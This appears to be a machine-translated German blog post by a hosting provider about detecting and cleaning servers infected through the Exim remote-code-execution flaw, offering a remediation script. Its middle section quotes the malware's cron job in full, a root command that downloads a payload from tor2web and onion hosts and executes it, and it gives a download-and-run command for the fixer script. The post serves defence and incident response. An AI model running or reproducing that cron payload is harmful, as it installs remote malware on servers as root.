Die Sicherheitslücke mit Exims RCE war bereits ziemlich sensationell und hat die Nerven der Systemadministratoren auf der ganzen Welt ziemlich zerfetzt.
Nach massiven Infektionen (viele unserer Kunden verwenden Exim als Mailserver) verbreiten sie schnell ein Skript, um die Lösung des Problems zu automatisieren. Das Skript ist alles andere als ideal und voller suboptimaler Codes, aber dies ist eine schnelle Kampflösung, um nicht dieselben Aktionen auf Hunderten oder sogar Tausenden von Servern auszuführen.
Es funktioniert auf Servern mit Centos, RHEL, Debian und Ubuntu, auf denen ein Exim-Mailserver installiert ist.
Wie kann man verstehen, dass der Server gehackt wird?
Überprüfen Sie laufende Prozesse mit dem Befehl top.
Auf infizierten Servern wird durch den Prozess [kthrotlds] eine 100% ige Last erstellt. Auch im Cron Scheduler wird eine Aufgabe mit eingeschränkten Bearbeitungsrechten hinzugefügt.
Alarmbereich
Alle Infektionsvorfälle, auf die wir gestoßen sind, waren vom gleichen Typ. Die zweite und dritte Welle können von diesen abweichen. Für sie kann es erforderlich sein, das Skript zu ändern. Zum Zeitpunkt der Infektion gehen Aufgaben in cron unwiderruflich verloren und müssen von Hand zurückgegeben werden. Das Skript "schneidet die Schulter ab" - aktualisiert Exim furchtlos auf gepatchte Versionen, im Fall von Centos 6 sogar aus dem Test-Repository. Die Malware-Instanz befindet sich im Speicher, daher
muss der Server sofort nach dem Reinigen der Kronen neu gestartet werden.
Wichtig: Die Sicherheitsanfälligkeit ermöglicht die Ausführung von Code aus dem Stammverzeichnis, was keine Garantie für eine hundertprozentige Heilung bietet. Wenn Sie Root-Zugriff auf den Server haben, können Sie fast alles auf diesem Server ausblenden, sodass es fast unmöglich ist, es zu finden. Eine vollständige Neuinstallation des Servers kann nur eine vollständige Neuinstallation sein, ist jedoch bei weitem nicht immer möglich. Wenn es keine Möglichkeit gibt, den Server neu zu installieren, und die Symptome dieselben wie beschrieben sind, können Sie versuchen, die Lücken mit diesem Skript schnell zu füllen.
Mit einem Skript tun Sie dies auf eigene Gefahr und Gefahr: Wir haben das Skript auf einer Reihe von Servern getestet. Es besteht jedoch immer das Risiko inkompatibler Softwareversionen oder eines Konfigurationskonflikts.
Mit unserem Skript können Sie auch nur eine der möglichen Implementierungen der Infektion heilen. Möglicherweise gibt es bereits jetzt andere Möglichkeiten, die Sicherheitsanfälligkeit auszunutzen, die wir nicht gesehen haben.
Was macht das Skript?
1. Aktualisiert Exim und installiert Curl neu.
2. Überprüft den Server auf Infektionen.
Das Skript analysiert die Aufgaben des Schedulers auf verdächtige Einschlüsse.Zum Beispiel:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
2a. Wenn sich im Ordner / etc Spuren eines Virenskripts befinden, gehen Sie wie folgt vor
2b. Wenn keine Spur einer Infektion vorhanden ist, wird das Skript beendet.
Verfeinerungen
Der Virus löscht alle Cron Scheduler-Jobs. Daher müssen sie nach dem Neustart des Servers aus der Sicherung neu konfiguriert oder wiederhergestellt werden.
curl ist ebenfalls mit dem Virus infiziert und wird daher neu installiert.
Ein Neustart (das Skript führt ihn nach der Behandlung automatisch aus) ist erforderlich. Andernfalls wird die Malware im Speicher des Servers gespeichert und selbst nach dem Löschen der infizierten Dateien alle 30 Sekunden selbst repliziert.
Wie benutzt man?
Traditionell: Stellen Sie vor dem Start sicher, dass Sie über die tatsächliche Sicherungskopie der Serverdaten verfügen.
So führen Sie das Skript aus:
Stellen Sie über ssh als Benutzer mit Root-Rechten eine Verbindung zum Server her. Sie können den Shell-Client auch im Bereich ISPmanager - Tools verwenden.
Geben Sie im Terminal den folgenden Befehl ein:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
Erwarten Sie, dass das Skript den Server abschließt und neu startet.
Überprüfen Sie nach dem Neustart den Betrieb des Servers und der darauf gehosteten Sites / Anwendungen, konfigurieren Sie die Aufgaben neu oder stellen Sie sie aus der Sicherung wieder her.
Und schließlich
Tatsächlich ist das Skript eine
temporäre Lösung, um den Server wieder funktionsfähig zu machen. Zur garantierten Verhinderung besteht die beste Lösung darin, auf einen neuen Server mit der Version des Betriebssystems zu wechseln, die keine Sicherheitsanfälligkeit mehr enthält.
Alle Empfehlungen zum Finalisieren / Verarbeiten des Skripts sind willkommen. Wenn Sie auf ein anderes Infektionssymptom stoßen, zeigen Sie es bitte. Die Zusammenarbeit zum Zeitpunkt von Masseninfektionen reduziert den Zeitaufwand für die Beseitigung dieser Infektionen erheblich.
Viel Glück
UPD1:
Auf Github hinzugefügt .
Dort wurde der Quellcode für das Malvari-Skript hochgeladen, der vom infizierten Server abgerufen werden konnte .
UPD2: Für Centos 6 wurde Release 4.92 in EPEL veröffentlicht. Jetzt wird es in allen Versionen des Skripts aus den Hauptrepositorys installiert. Zunächst lud das Skript 4.92 für Centos 6 von EPEL / testing herunter.